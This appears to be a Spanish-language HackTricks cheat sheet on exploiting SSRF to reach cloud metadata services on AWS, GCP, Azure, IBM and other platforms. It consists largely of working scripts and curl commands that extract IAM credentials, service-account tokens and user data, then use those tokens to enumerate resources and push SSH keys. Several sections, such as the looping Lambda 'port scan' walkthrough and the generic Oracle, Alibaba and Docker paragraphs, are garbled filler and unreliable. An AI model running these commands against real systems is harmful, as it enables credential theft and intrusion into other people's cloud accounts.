34 KiB
Cloud SSRF
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
AWS
Abusando de SSRF en el entorno de AWS EC2
El metadata endpoint se puede acceder desde cualquier máquina EC2 y ofrece información interesante sobre ella. Es accesible en la URL: http://169.254.169.254
(información sobre el metadata aquí).
Hay 2 versiones del metadata endpoint. La primera permite acceder al endpoint a través de solicitudes GET (por lo que cualquier SSRF puede explotarlo). Para la versión 2, IMDSv2, necesitas solicitar un token enviando una solicitud PUT con un encabezado HTTP y luego usar ese token para acceder al metadata con otro encabezado HTTP (por lo que es más complicado de abusar con un SSRF).
En la versión 2, el TTL por defecto es 1. Esto asegura que los dispositivos de red mal configurados (firewalls, dispositivos NAT, routers, etc.) no reenviarán el paquete. Esto también significa que los contenedores de Docker que usan la configuración de red predeterminada (modo bridge) no podrán alcanzar el servicio de metadatos de la instancia.
IMDSv2 también bloqueará las solicitudes para obtener un token que incluyan el encabezado X-Forwarded-For
. Esto es para evitar que los proxies inversos mal configurados puedan acceder a él.
Puedes encontrar información sobre los endpoints de metadata en la documentación. En el siguiente script se obtiene información interesante de él:
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done
echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done
echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"
echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
Como ejemplo de credenciales IAM públicamente disponibles expuestas, puedes visitar: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
También puedes verificar las credenciales de seguridad públicas de EC2 en: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
Luego puedes tomar esas credenciales y usarlas con el AWS CLI. Esto te permitirá hacer cualquier cosa que el rol tenga permisos para hacer.
Para aprovechar las nuevas credenciales, deberás crear un nuevo perfil de AWS como este:
[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
Observa el aws_session_token, este es indispensable para que el perfil funcione.
PACU se puede utilizar con las credenciales descubiertas para averiguar tus privilegios e intentar escalarlos.
SSRF en las credenciales de AWS ECS (Servicio de contenedores)
ECS es un grupo lógico de instancias EC2 en el que puedes ejecutar una aplicación sin tener que escalar tu propia infraestructura de gestión de clústeres porque ECS lo gestiona por ti. Si logras comprometer el servicio que se ejecuta en ECS, los puntos finales de metadatos cambian.
Si accedes a http://169.254.170.2/v2/credentials/<GUID> encontrarás las credenciales de la máquina ECS. Pero primero necesitas encontrar el <GUID>. Para encontrar el <GUID> necesitas leer la variable environ AWS_CONTAINER_CREDENTIALS_RELATIVE_URI dentro de la máquina.
Podrías ser capaz de leerlo explotando una travesía de directorios a file:///proc/self/environ
La dirección http mencionada debería darte la AccessKey, SecretKey y token.
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
{% hint style="info" %} Tenga en cuenta que en algunos casos podrá acceder a la instancia de metadatos de EC2 desde el contenedor (verifique las limitaciones de TTL de IMDSv2 mencionadas anteriormente). En estos escenarios, desde el contenedor, podría acceder tanto al rol IAM del contenedor como al rol IAM de EC2. {% endhint %}
SSRF para AWS Lambda
En este caso, las credenciales se almacenan en variables de entorno. Por lo tanto, para acceder a ellas, debe acceder a algo como file:///proc/self/environ
.
El nombre de las variables de entorno interesantes son:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
Además, además de las credenciales IAM, las funciones Lambda también tienen datos de eventos que se pasan a la función cuando se inicia. Estos datos están disponibles para la función a través de la interfaz de tiempo de ejecución y podrían contener información sensible (como dentro de stageVariables). A diferencia de las credenciales IAM, estos datos son accesibles a través de SSRF estándar en http://localhost:9001/2018-06-01/runtime/invocation/next
.
{% hint style="warning" %} Tenga en cuenta que las credenciales lambda están dentro de las variables de entorno. Por lo tanto, si la traza de pila del código lambda imprime variables de entorno, es posible filtrarlas provocando un error en la aplicación. {% endhint %}
URL de SSRF para AWS Elastic Beanstalk
Recuperamos el accountId
y region
de la API.
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Luego recuperamos el AccessKeyId
, SecretAccessKey
y Token
de la API.
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Luego usamos las credenciales con aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/
.
GCP
Puedes encontrar aquí la documentación sobre los puntos finales de metadatos.
URL SSRF para Google Cloud
Requiere el encabezado "Metadata-Flavor: Google" o "X-Google-Metadata-Request: True" y puedes acceder al punto final de metadatos con las siguientes URLs:
Puntos finales interesantes para extraer información:
# /project
# Project name and number
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
# /instance
# Description
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
Beta NO requiere una cabecera en este momento (gracias a Mathias Karlsson @avlidienbrunn)
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
{% hint style="danger" %} Para usar el token de la cuenta de servicio exfiltrado, simplemente puedes hacer:
# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list
# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file
{% endhint %}
Agregar una clave SSH
Extraer el token
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
Revisa el alcance del token
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
Ahora empuja la clave SSH.
{% code overflow="wrap" %}
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
{% endcode %}
Digital Ocean
{% hint style="warning" %} No existen cosas como AWS Roles o cuentas de servicio de GCP, así que no esperes encontrar credenciales de bot de metadatos. {% endhint %}
Documentación disponible en https://developers.digitalocean.com/documentation/metadata/
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
Azure
Azure VM
- Debe contener el encabezado
Metadata: true
- No debe contener un encabezado
X-Forwarded-For
{% tabs %} {% tab title="Bash" %} {% code overflow="wrap" %}
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
{% endcode %} {% endtab %}
{% endtabs %}
Ejemplo de SSRF en AWS
Escenario
Tenemos una instancia de EC2 que se ejecuta en una VPC privada y no tiene acceso a Internet. También tenemos una instancia de EC2 que se ejecuta en una VPC pública y tiene acceso a Internet. Queremos escanear el puerto 22 de la instancia de EC2 privada desde la instancia de EC2 pública.
Solución
Podemos usar una instancia de EC2 pública para escanear el puerto 22 de la instancia de EC2 privada utilizando una vulnerabilidad de SSRF. Primero, necesitamos crear una instancia de EC2 pública y una instancia de EC2 privada en diferentes VPC. Luego, podemos seguir los siguientes pasos:
- Cree una instancia de EC2 pública y una instancia de EC2 privada en diferentes VPC.
- Cree una función Lambda que se ejecutará en la instancia de EC2 pública.
- Cree una API Gateway que se conecte a la función Lambda.
- Cree una solicitud HTTP que se enviará a la API Gateway.
- En la solicitud HTTP, agregue la dirección IP de la instancia de EC2 privada y el puerto que desea escanear.
- Envíe la solicitud HTTP a la API Gateway.
- La función Lambda en la instancia de EC2 pública recibirá la solicitud HTTP y escaneará el puerto 22 de la instancia de EC2 privada.
- La función Lambda enviará la respuesta a la API Gateway.
- La API Gateway enviará la respuesta al cliente.
Paso a paso
Cree una instancia de EC2 pública y una instancia de EC2 privada en diferentes VPC
Cree una instancia de EC2 pública y una instancia de EC2 privada en diferentes VPC. Asegúrese de que la instancia de EC2 privada no tenga acceso a Internet.
Cree una función Lambda que se ejecutará en la instancia de EC2 pública
Cree una función Lambda que se ejecutará en la instancia de EC2 pública. La función Lambda debe escanear el puerto 22 de la instancia de EC2 privada.
Cree una API Gateway que se conecte a la función Lambda
Cree una API Gateway que se conecte a la función Lambda. La API Gateway debe estar configurada para aceptar solicitudes HTTP.
Cree una solicitud HTTP que se enviará a la API Gateway
Cree una solicitud HTTP que se enviará a la API Gateway. En la solicitud HTTP, agregue la dirección IP de la instancia de EC2 privada y el puerto que desea escanear.
Envíe la solicitud HTTP a la API Gateway
Envíe la solicitud HTTP a la API Gateway. La API Gateway enviará la solicitud a la función Lambda en la instancia de EC2 pública.
La función Lambda en la instancia de EC2 pública recibirá la solicitud HTTP y escaneará el puerto 22 de la instancia de EC2 privada
La función Lambda en la instancia de EC2 pública recibirá la solicitud HTTP y escaneará el puerto 22 de la instancia de EC2 privada.
La función Lambda enviará la respuesta a la API Gateway
La función Lambda enviará la respuesta a la API Gateway.
La API Gateway enviará la respuesta al cliente
La API Gateway enviará la respuesta al cliente.
# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
# Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
{% endtab %} {% endtabs %}
Azure App Service
Desde la variable de entorno env puedes obtener los valores de IDENTITY_HEADER
y IDENTITY_ENDPOINT
. Que puedes usar para obtener un token para hablar con el servidor de metadatos.
La mayoría de las veces, querrás un token para uno de estos recursos:
- https://storage.azure.com
- https://vault.azure.net
- https://graph.microsoft.com
- https://management.azure.com
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT
# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17
# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# API
# Get Subscriptions
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"
# API request in powershell to management endpoint
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
{% hint style="warning" %} Ten en cuenta que en IBM, por defecto, los metadatos no están habilitados, por lo que es posible que no puedas acceder a ellos incluso si estás dentro de una VM de IBM Cloud. {% endhint %}
{% code overflow="wrap" %}
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
{% endcode %}
Packetcloud
Documentación disponible en https://metadata.packet.net/userdata
OpenStack/RackSpace
(se requiere encabezado? desconocido)
http://169.254.169.254/openstack
HP Helion
(Encabezado requerido? Desconocido)
http://169.254.169.254/2009-04-04/meta-data/
Oracle Cloud
Oracle Cloud es una plataforma de nube pública que ofrece servicios de infraestructura, plataforma y software como servicio. Algunos de los servicios que ofrece son Oracle Compute Cloud, Oracle Storage Cloud y Oracle Database Cloud.
SSRF en Oracle Cloud
Oracle Cloud también es vulnerable a ataques de SSRF. Algunos de los servicios que pueden ser explotados son:
- Oracle Compute Cloud
- Oracle Storage Cloud
- Oracle Database Cloud
Para explotar una vulnerabilidad de SSRF en Oracle Cloud, se puede utilizar la misma técnica que se utiliza en otros servicios de nube.
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/
Alibaba
Alibaba Cloud es una plataforma de computación en la nube que ofrece una amplia gama de servicios, incluyendo almacenamiento, bases de datos, análisis de datos, seguridad y más. Es una de las plataformas de nube más grandes del mundo y es muy popular en Asia. Si bien Alibaba Cloud es una plataforma segura, también es vulnerable a ataques de SSRF.
Para explotar una vulnerabilidad de SSRF en Alibaba Cloud, un atacante puede enviar una solicitud HTTP a un servidor vulnerable en la red interna de Alibaba Cloud. La solicitud puede incluir una URL maliciosa que apunta a un servidor externo controlado por el atacante. Cuando el servidor vulnerable en la red interna de Alibaba Cloud procesa la solicitud, puede enviar una solicitud HTTP a la URL maliciosa, lo que permite al atacante acceder a recursos internos de la red.
Para evitar ataques de SSRF en Alibaba Cloud, es importante asegurarse de que los servidores en la red interna solo se comuniquen con servidores confiables y de que se implementen medidas de seguridad adecuadas, como la validación de entradas y la restricción de puertos y protocolos.
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
Kubernetes ETCD
Puede contener claves de API y direcciones IP y puertos internos.
curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true
Docker
Docker es una plataforma de contenedores que permite a los desarrolladores empaquetar, distribuir y ejecutar aplicaciones en cualquier lugar. Docker utiliza contenedores para crear un entorno aislado para la aplicación, lo que significa que la aplicación se ejecuta en su propio entorno y no afecta al sistema operativo subyacente. Esto hace que Docker sea una herramienta popular para la creación de aplicaciones portátiles y escalables.
Sin embargo, también puede ser una herramienta peligrosa si no se configura correctamente. Los contenedores Docker pueden ser vulnerables a ataques de SSRF si se les permite acceder a recursos externos sin restricciones. Es importante asegurarse de que los contenedores Docker estén configurados correctamente y de que se restrinja el acceso a los recursos externos para evitar posibles ataques de SSRF.
http://127.0.0.1:2375/v1.24/containers/jsonSimple example
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
Rancher
Rancher es una plataforma de orquestación de contenedores que permite a los usuarios administrar múltiples clústeres de Kubernetes. Es posible que se produzcan vulnerabilidades de SSRF en Rancher si se permite a los usuarios crear clústeres personalizados. En este caso, un atacante podría crear un clúster malicioso que se comunique con un servidor controlado por el atacante y, por lo tanto, permitir la explotación de vulnerabilidades SSRF.
curl http://rancher-metadata/<version>/<path>
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Revisa los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.